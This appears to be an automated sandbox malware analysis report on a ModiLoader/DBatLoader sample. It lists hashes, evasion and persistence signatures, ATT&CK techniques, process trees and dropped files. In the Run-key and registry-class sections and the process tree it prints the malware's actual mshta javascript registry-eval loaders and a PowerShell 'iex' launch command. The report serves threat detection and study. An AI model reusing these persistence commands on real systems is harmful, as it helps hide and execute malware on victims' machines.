modiloader | 9db87af0939edd62fec396d9af38b1e554d81d969974f7977014fb80f5489f03

General

Target

9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe
Size

271KB
MD5

9c8c94cb2f4467665c307b6da59022e6
SHA1

9875930cfd41636e94fedd9641c360551bb8274c
SHA256

9db87af0939edd62fec396d9af38b1e554d81d969974f7977014fb80f5489f03
SHA512

ae082411a8cf767722c615d370c98ad3962d8a8ab64c26c5dff39563e5a9aeadfc9174f67298281a405493f2b8a7f6c1f0afad45058e22b33fe06aa205c82be4
SSDEEP

3072:l6CCZ+GH7dCCYP4dmFrSvLWG88MOE+cjqr3au5llnt6pCO4d+Lk24SBXpjihtlyJ:JVmLW/8MCp5llt6wFd5oPji7r5yTh34E

Score

10^/10

modiloader evasion persistence trojan

Malware Config

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

mshta.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2520 2556 mshta.exe
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
evasion

Software Discovery
T1518
Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe
Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs
evasion

File and Directory Discovery
T1083

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys regsvr32.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2520	2556	mshta.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions	regsvr32.exe

description	ioc	process
File opened (read-only)	C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys	regsvr32.exe

ModiLoader Second Stage 59 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1868-2-0x0000000000400000-0x000000000043A000-memory.dmp	modiloader_stage2
behavioral1/memory/1868-4-0x0000000000400000-0x000000000043A000-memory.dmp	modiloader_stage2
behavioral1/memory/1868-5-0x0000000000400000-0x000000000043A000-memory.dmp	modiloader_stage2
behavioral1/memory/1868-6-0x0000000001D80000-0x0000000001E56000-memory.dmp	modiloader_stage2
behavioral1/memory/1868-7-0x0000000001D80000-0x0000000001E56000-memory.dmp	modiloader_stage2
behavioral1/memory/1868-10-0x0000000001D80000-0x0000000001E56000-memory.dmp	modiloader_stage2
behavioral1/memory/1868-9-0x0000000001D80000-0x0000000001E56000-memory.dmp	modiloader_stage2
behavioral1/memory/1868-8-0x0000000001D80000-0x0000000001E56000-memory.dmp	modiloader_stage2
behavioral1/memory/1868-11-0x0000000001D80000-0x0000000001E56000-memory.dmp	modiloader_stage2
behavioral1/memory/1868-12-0x0000000001D80000-0x0000000001E56000-memory.dmp	modiloader_stage2
behavioral1/memory/2584-21-0x0000000006230000-0x0000000006306000-memory.dmp	modiloader_stage2
behavioral1/memory/2904-23-0x0000000000250000-0x0000000000391000-memory.dmp	modiloader_stage2
behavioral1/memory/2904-24-0x0000000000250000-0x0000000000391000-memory.dmp	modiloader_stage2
behavioral1/memory/2904-26-0x0000000000250000-0x0000000000391000-memory.dmp	modiloader_stage2
behavioral1/memory/2904-27-0x0000000000250000-0x0000000000391000-memory.dmp	modiloader_stage2
behavioral1/memory/2904-35-0x0000000000250000-0x0000000000391000-memory.dmp	modiloader_stage2
behavioral1/memory/2904-28-0x0000000000250000-0x0000000000391000-memory.dmp	modiloader_stage2
behavioral1/memory/2904-43-0x0000000000250000-0x0000000000391000-memory.dmp	modiloader_stage2
behavioral1/memory/2904-55-0x0000000000250000-0x0000000000391000-memory.dmp	modiloader_stage2
behavioral1/memory/2904-60-0x0000000000250000-0x0000000000391000-memory.dmp	modiloader_stage2
behavioral1/memory/2904-57-0x0000000000250000-0x0000000000391000-memory.dmp	modiloader_stage2
behavioral1/memory/2904-48-0x0000000000250000-0x0000000000391000-memory.dmp	modiloader_stage2
behavioral1/memory/2904-47-0x0000000000250000-0x0000000000391000-memory.dmp	modiloader_stage2
behavioral1/memory/2584-46-0x0000000006230000-0x0000000006306000-memory.dmp	modiloader_stage2
behavioral1/memory/2904-66-0x0000000000250000-0x0000000000391000-memory.dmp	modiloader_stage2
behavioral1/memory/2904-59-0x0000000000250000-0x0000000000391000-memory.dmp	modiloader_stage2
behavioral1/memory/2904-58-0x0000000000250000-0x0000000000391000-memory.dmp	modiloader_stage2
behavioral1/memory/2904-54-0x0000000000250000-0x0000000000391000-memory.dmp	modiloader_stage2
behavioral1/memory/2904-49-0x0000000000250000-0x0000000000391000-memory.dmp	modiloader_stage2
behavioral1/memory/2904-44-0x0000000000250000-0x0000000000391000-memory.dmp	modiloader_stage2
behavioral1/memory/2904-42-0x0000000000250000-0x0000000000391000-memory.dmp	modiloader_stage2
behavioral1/memory/2904-41-0x0000000000250000-0x0000000000391000-memory.dmp	modiloader_stage2
behavioral1/memory/2904-40-0x0000000000250000-0x0000000000391000-memory.dmp	modiloader_stage2
behavioral1/memory/2904-39-0x0000000000250000-0x0000000000391000-memory.dmp	modiloader_stage2
behavioral1/memory/2904-38-0x0000000000250000-0x0000000000391000-memory.dmp	modiloader_stage2
behavioral1/memory/2904-37-0x0000000000250000-0x0000000000391000-memory.dmp	modiloader_stage2
behavioral1/memory/2904-36-0x0000000000250000-0x0000000000391000-memory.dmp	modiloader_stage2
behavioral1/memory/2904-34-0x0000000000250000-0x0000000000391000-memory.dmp	modiloader_stage2
behavioral1/memory/2904-33-0x0000000000250000-0x0000000000391000-memory.dmp	modiloader_stage2
behavioral1/memory/2904-32-0x0000000000250000-0x0000000000391000-memory.dmp	modiloader_stage2
behavioral1/memory/2904-31-0x0000000000250000-0x0000000000391000-memory.dmp	modiloader_stage2
behavioral1/memory/2904-30-0x0000000000250000-0x0000000000391000-memory.dmp	modiloader_stage2
behavioral1/memory/2904-29-0x0000000000250000-0x0000000000391000-memory.dmp	modiloader_stage2
behavioral1/memory/1532-67-0x0000000000200000-0x0000000000341000-memory.dmp	modiloader_stage2
behavioral1/memory/1532-76-0x0000000000200000-0x0000000000341000-memory.dmp	modiloader_stage2
behavioral1/memory/1532-82-0x0000000000200000-0x0000000000341000-memory.dmp	modiloader_stage2
behavioral1/memory/1532-81-0x0000000000200000-0x0000000000341000-memory.dmp	modiloader_stage2
behavioral1/memory/1532-80-0x0000000000200000-0x0000000000341000-memory.dmp	modiloader_stage2
behavioral1/memory/1532-79-0x0000000000200000-0x0000000000341000-memory.dmp	modiloader_stage2
behavioral1/memory/1532-78-0x0000000000200000-0x0000000000341000-memory.dmp	modiloader_stage2
behavioral1/memory/1532-77-0x0000000000200000-0x0000000000341000-memory.dmp	modiloader_stage2
behavioral1/memory/1532-75-0x0000000000200000-0x0000000000341000-memory.dmp	modiloader_stage2
behavioral1/memory/1532-74-0x0000000000200000-0x0000000000341000-memory.dmp	modiloader_stage2
behavioral1/memory/1532-73-0x0000000000200000-0x0000000000341000-memory.dmp	modiloader_stage2
behavioral1/memory/1532-72-0x0000000000200000-0x0000000000341000-memory.dmp	modiloader_stage2
behavioral1/memory/1532-71-0x0000000000200000-0x0000000000341000-memory.dmp	modiloader_stage2
behavioral1/memory/1532-70-0x0000000000200000-0x0000000000341000-memory.dmp	modiloader_stage2
behavioral1/memory/1532-69-0x0000000000200000-0x0000000000341000-memory.dmp	modiloader_stage2
behavioral1/memory/1532-68-0x0000000000200000-0x0000000000341000-memory.dmp	modiloader_stage2

Looks for VMWare Tools registry key 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools regsvr32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools	regsvr32.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

regsvr32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	regsvr32.exe

Deletes itself 1 IoCs

Processes:

regsvr32.exe

pid process

2904 regsvr32.exe
Drops startup file 1 IoCs

Processes:

regsvr32.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\2d7d1.lnk regsvr32.exe

pid	process
2904	regsvr32.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\2d7d1.lnk	regsvr32.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

regsvr32.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Windows\\system32\\mshta.exe\" javascript:OU8Kh4=\"HK\";W0C1=new%20ActiveXObject(\"WScript.Shell\");JBEs8aAe=\"Ap\";gc8vr=W0C1.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\atqjps\\\\xawh\");gE8H3YkJ=\"pRAGs\";eval(gc8vr);lGPJkY9f=\"JLl\";"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Windows\\system32\\mshta.exe\" javascript:ED3Lf3u=\"dms2W\";s1k=new%20ActiveXObject(\"WScript.Shell\");XbL1pzqd=\"kgZu\";pNl1y0=s1k.RegRead(\"HKCU\\\\software\\\\atqjps\\\\xawh\");S8GG5xR=\"pAG9MEgn\";eval(pNl1y0);Wz9ZZPKD=\"i\";"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\ed3e8\\d468b.lnk\""	regsvr32.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

regsvr32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	regsvr32.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exepowershell.exeregsvr32.exe

description	pid	process	target process
PID 2972 set thread context of 1868	2972	9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe	9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe
PID 2584 set thread context of 2904	2584	powershell.exe	regsvr32.exe
PID 2904 set thread context of 1532	2904	regsvr32.exe	regsvr32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

Processes:

regsvr32.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\International	regsvr32.exe

Modifies registry class 7 IoCs

Processes:

regsvr32.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000_CLASSES\0f739\shell\open\command	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000_CLASSES\0f739\shell\open\command\ = "\"C:\\Windows\\system32\\mshta.exe\" \"javascript:W5kql0D=\"mVkkT3k\";I1G=new ActiveXObject(\"WScript.Shell\");GhKBOp2j=\"JZ4ip\";gWW2r8=I1G.RegRead(\"HKCU\\\\software\\\\atqjps\\\\xawh\");lR0Kwt2=\"fCP\";eval(gWW2r8);tP3mHN=\"n\";\""	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000_CLASSES\.cc93a6	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000_CLASSES\.cc93a6\ = "0f739"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000_CLASSES\0f739	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000_CLASSES\0f739\shell	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000_CLASSES\0f739\shell\open	regsvr32.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exeregsvr32.exe

pid	process
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2584	powershell.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe
2904	regsvr32.exe

Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

powershell.exeregsvr32.exe

pid process

2584 powershell.exe
2904 regsvr32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2584 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe

pid process

2972 9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe

description	pid	process
Token: SeDebugPrivilege	2584	powershell.exe

pid	process
2972	9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 31 IoCs

Processes:

9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exemshta.exepowershell.exeregsvr32.exe

description	pid	process	target process
PID 2972 wrote to memory of 1868	2972	9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe	9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe
PID 2972 wrote to memory of 1868	2972	9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe	9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe
PID 2972 wrote to memory of 1868	2972	9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe	9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe
PID 2972 wrote to memory of 1868	2972	9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe	9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe
PID 2972 wrote to memory of 1868	2972	9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe	9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe
PID 2972 wrote to memory of 1868	2972	9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe	9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe
PID 2972 wrote to memory of 1868	2972	9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe	9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe
PID 2972 wrote to memory of 1868	2972	9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe	9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe
PID 2972 wrote to memory of 1868	2972	9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe	9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe
PID 2972 wrote to memory of 1868	2972	9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe	9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe
PID 2972 wrote to memory of 1868	2972	9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe	9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe
PID 2520 wrote to memory of 2584	2520	mshta.exe	powershell.exe
PID 2520 wrote to memory of 2584	2520	mshta.exe	powershell.exe
PID 2520 wrote to memory of 2584	2520	mshta.exe	powershell.exe
PID 2520 wrote to memory of 2584	2520	mshta.exe	powershell.exe
PID 2584 wrote to memory of 2904	2584	powershell.exe	regsvr32.exe
PID 2584 wrote to memory of 2904	2584	powershell.exe	regsvr32.exe
PID 2584 wrote to memory of 2904	2584	powershell.exe	regsvr32.exe
PID 2584 wrote to memory of 2904	2584	powershell.exe	regsvr32.exe
PID 2584 wrote to memory of 2904	2584	powershell.exe	regsvr32.exe
PID 2584 wrote to memory of 2904	2584	powershell.exe	regsvr32.exe
PID 2584 wrote to memory of 2904	2584	powershell.exe	regsvr32.exe
PID 2584 wrote to memory of 2904	2584	powershell.exe	regsvr32.exe
PID 2904 wrote to memory of 1532	2904	regsvr32.exe	regsvr32.exe
PID 2904 wrote to memory of 1532	2904	regsvr32.exe	regsvr32.exe
PID 2904 wrote to memory of 1532	2904	regsvr32.exe	regsvr32.exe
PID 2904 wrote to memory of 1532	2904	regsvr32.exe	regsvr32.exe
PID 2904 wrote to memory of 1532	2904	regsvr32.exe	regsvr32.exe
PID 2904 wrote to memory of 1532	2904	regsvr32.exe	regsvr32.exe
PID 2904 wrote to memory of 1532	2904	regsvr32.exe	regsvr32.exe
PID 2904 wrote to memory of 1532	2904	regsvr32.exe	regsvr32.exe

C:\Users\Admin\AppData\Local\Temp\9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2972

C:\Users\Admin\AppData\Local\Temp\9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\9c8c94cb2f4467665c307b6da59022e6_JaffaCakes118.exe"
2⤵
PID:1868

C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" javascript:WR1jI="FeD";yk87=new%20ActiveXObject("WScript.Shell");Y4i5HMsef="8crhm6";AtG7d=yk87.RegRead("HKLM\\software\\Wow6432Node\\gM7d47Y\\aXHU5MrtV");stH5w="iqsrY0za";eval(AtG7d);diQr7p="js";
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2520

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:yszr
2⤵
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2584

C:\Windows\SysWOW64\regsvr32.exe
regsvr32.exe
3⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VirtualBox drivers on disk
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Drops startup file
- Adds Run key to start application
- Maps connected drives based on registry
- Suspicious use of SetThreadContext
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2904

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\SysWOW64\regsvr32.exe"
4⤵
PID:1532

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

2

T1112

Virtualization/Sandbox Evasion

3

T1497

Credential Access

Discovery

File and Directory Discovery

1

T1083

Peripheral Device Discovery

Query Registry

Software Discovery

System Information Discovery

3

T1082

Virtualization/Sandbox Evasion

3

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\ed3e8\5cad4.cc93a6
Filesize
9KB

MD5
a3237c7d4d3529b255065045a866407f

SHA1
947a7f485e1f7b6f8f95f6553838398218a85034

SHA256
8695dbc729ef64c145b7cef10e7416b5d169284655d10550b083b98494383114

SHA512
cc180af93e4fd6dc043c01eb32e9b6046c99c6ef9410318688fbd4784daaf53eb6fb096d0469e44c6190372154d0d6d60b7807f26cb1d5f46e6fd12b2b7ef11e

Download Submit
C:\Users\Admin\AppData\Local\ed3e8\bc0ec.bat
Filesize
58B

MD5
c9726b1023d08f87d7c310ef440fc21a

SHA1
e121739a7d5fd0bd5e0a08827105a41798195629

SHA256
009c0ef73332c5aae4e96ba2013e33cda30f312c604c5b1e768c190a522160fc

SHA512
571d0720f495a92114cdce0abbf951bd3ac6f66394adc88964c3870feb2552640290d65bf739c9e844e4f0c33ddbda9e39f6e66cfaad8a4b35a210df05efe1b0

Download Submit
C:\Users\Admin\AppData\Local\ed3e8\d468b.lnk
Filesize
865B

MD5
fa90eafb8c7f1c15d1231407966f1ce4

SHA1
da7db912ae88d31b444c39785c9e88d5e3af62a6

SHA256
62815180bd6abb5a39cafe84cd992dd10cd6c1900fc40ad8a2f8af5d1ff1c108

SHA512
f665e6901c5547ea579a632f2bc09c7b55b3affd4c70cf58f32142b108a14ab5057d28cc37ecedb8399cbd6f85a4b7e8df9ef3550fdb820c6ddde82d69f8fe2c

Download Submit
C:\Users\Admin\AppData\Roaming\158f4\93aca.cc93a6
Filesize
21KB

MD5
80ebe27d6e6ad3594db0833b87ded29e

SHA1
462b1fcc7cd5766527512029b237692670076139

SHA256
f14a6b537a284193ebf7182a9a15559036fa63ba6d113a24fe5d6315edf79a89

SHA512
c166ff2a45d72a2b9011bc70ba9df773673dfe97b9cb07549eacdaf7f20b3aee278536191c45d9348108ca330fa40f6b26a5650939e6f68c070d15215d7e0e30

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\2d7d1.lnk
Filesize
981B

MD5
5b21b814147b7173907ba11baa44c155

SHA1
e7371e332c93bc99fcada9d58385d2b4504c1608

SHA256
f5608e71a80d3c04a3f8a3c7f63829a71cf253161466f02ae4206c837522d0fd

SHA512
339bb9606a54fb65f5ae30f692d7a3e99133e6fcde3c8ccd1cda750ba8d1a4878d907395f0c1f60077623def83c97abfcee967679ba4c5dc517fef5a14a2eb28

Download Submit
memory/1532-79-0x0000000000200000-0x0000000000341000-memory.dmp

Filesize
1.3MB

Download
memory/1532-80-0x0000000000200000-0x0000000000341000-memory.dmp

Filesize
1.3MB

Download
memory/1532-77-0x0000000000200000-0x0000000000341000-memory.dmp

Filesize
1.3MB

Download
memory/1532-67-0x0000000000200000-0x0000000000341000-memory.dmp

Filesize
1.3MB

Download
memory/1532-75-0x0000000000200000-0x0000000000341000-memory.dmp

Filesize
1.3MB

Download
memory/1532-74-0x0000000000200000-0x0000000000341000-memory.dmp

Filesize
1.3MB

Download
memory/1532-72-0x0000000000200000-0x0000000000341000-memory.dmp

Filesize
1.3MB

Download
memory/1532-78-0x0000000000200000-0x0000000000341000-memory.dmp

Filesize
1.3MB

Download
memory/1532-81-0x0000000000200000-0x0000000000341000-memory.dmp

Filesize
1.3MB

Download
memory/1532-82-0x0000000000200000-0x0000000000341000-memory.dmp

Filesize
1.3MB

Download
memory/1532-76-0x0000000000200000-0x0000000000341000-memory.dmp

Filesize
1.3MB

Download
memory/1532-73-0x0000000000200000-0x0000000000341000-memory.dmp

Filesize
1.3MB

Download
memory/1532-68-0x0000000000200000-0x0000000000341000-memory.dmp

Filesize
1.3MB

Download
memory/1532-69-0x0000000000200000-0x0000000000341000-memory.dmp

Filesize
1.3MB

Download
memory/1532-70-0x0000000000200000-0x0000000000341000-memory.dmp

Filesize
1.3MB

Download
memory/1532-71-0x0000000000200000-0x0000000000341000-memory.dmp

Filesize
1.3MB

Download
memory/1868-11-0x0000000001D80000-0x0000000001E56000-memory.dmp

Filesize
856KB

Download
memory/1868-2-0x0000000000400000-0x000000000043A000-memory.dmp

Filesize
232KB

Download
memory/1868-12-0x0000000001D80000-0x0000000001E56000-memory.dmp

Filesize
856KB

Download
memory/1868-8-0x0000000001D80000-0x0000000001E56000-memory.dmp

Filesize
856KB

Download
memory/1868-9-0x0000000001D80000-0x0000000001E56000-memory.dmp

Filesize
856KB

Download
memory/1868-10-0x0000000001D80000-0x0000000001E56000-memory.dmp

Filesize
856KB

Download
memory/1868-7-0x0000000001D80000-0x0000000001E56000-memory.dmp

Filesize
856KB

Download
memory/1868-6-0x0000000001D80000-0x0000000001E56000-memory.dmp

Filesize
856KB

Download
memory/1868-5-0x0000000000400000-0x000000000043A000-memory.dmp

Filesize
232KB

Download
memory/1868-4-0x0000000000400000-0x000000000043A000-memory.dmp

Filesize
232KB

Download
memory/2584-46-0x0000000006230000-0x0000000006306000-memory.dmp

Filesize
856KB

Download
memory/2584-21-0x0000000006230000-0x0000000006306000-memory.dmp

Filesize
856KB

Download
memory/2904-28-0x0000000000250000-0x0000000000391000-memory.dmp

Filesize
1.3MB

Download
memory/2904-38-0x0000000000250000-0x0000000000391000-memory.dmp

Filesize
1.3MB

Download
memory/2904-37-0x0000000000250000-0x0000000000391000-memory.dmp

Filesize
1.3MB

Download
memory/2904-36-0x0000000000250000-0x0000000000391000-memory.dmp

Filesize
1.3MB

Download
memory/2904-34-0x0000000000250000-0x0000000000391000-memory.dmp

Filesize
1.3MB

Download
memory/2904-33-0x0000000000250000-0x0000000000391000-memory.dmp

Filesize
1.3MB

Download
memory/2904-32-0x0000000000250000-0x0000000000391000-memory.dmp

Filesize
1.3MB

Download
memory/2904-31-0x0000000000250000-0x0000000000391000-memory.dmp

Filesize
1.3MB

Download
memory/2904-30-0x0000000000250000-0x0000000000391000-memory.dmp

Filesize
1.3MB

Download
memory/2904-29-0x0000000000250000-0x0000000000391000-memory.dmp

Filesize
1.3MB

Download
memory/2904-39-0x0000000000250000-0x0000000000391000-memory.dmp

Filesize
1.3MB

Download
memory/2904-40-0x0000000000250000-0x0000000000391000-memory.dmp

Filesize
1.3MB

Download
memory/2904-41-0x0000000000250000-0x0000000000391000-memory.dmp

Filesize
1.3MB

Download
memory/2904-42-0x0000000000250000-0x0000000000391000-memory.dmp

Filesize
1.3MB

Download
memory/2904-44-0x0000000000250000-0x0000000000391000-memory.dmp

Filesize
1.3MB

Download
memory/2904-49-0x0000000000250000-0x0000000000391000-memory.dmp

Filesize
1.3MB

Download
memory/2904-54-0x0000000000250000-0x0000000000391000-memory.dmp

Filesize
1.3MB

Download
memory/2904-58-0x0000000000250000-0x0000000000391000-memory.dmp

Filesize
1.3MB

Download
memory/2904-59-0x0000000000250000-0x0000000000391000-memory.dmp

Filesize
1.3MB

Download
memory/2904-66-0x0000000000250000-0x0000000000391000-memory.dmp

Filesize
1.3MB

Download
memory/2904-47-0x0000000000250000-0x0000000000391000-memory.dmp

Filesize
1.3MB

Download
memory/2904-48-0x0000000000250000-0x0000000000391000-memory.dmp

Filesize
1.3MB

Download
memory/2904-57-0x0000000000250000-0x0000000000391000-memory.dmp

Filesize
1.3MB

Download
memory/2904-60-0x0000000000250000-0x0000000000391000-memory.dmp

Filesize
1.3MB

Download
memory/2904-55-0x0000000000250000-0x0000000000391000-memory.dmp

Filesize
1.3MB

Download
memory/2904-43-0x0000000000250000-0x0000000000391000-memory.dmp

Filesize
1.3MB

Download
memory/2904-35-0x0000000000250000-0x0000000000391000-memory.dmp

Filesize
1.3MB

Download
memory/2904-27-0x0000000000250000-0x0000000000391000-memory.dmp

Filesize
1.3MB

Download
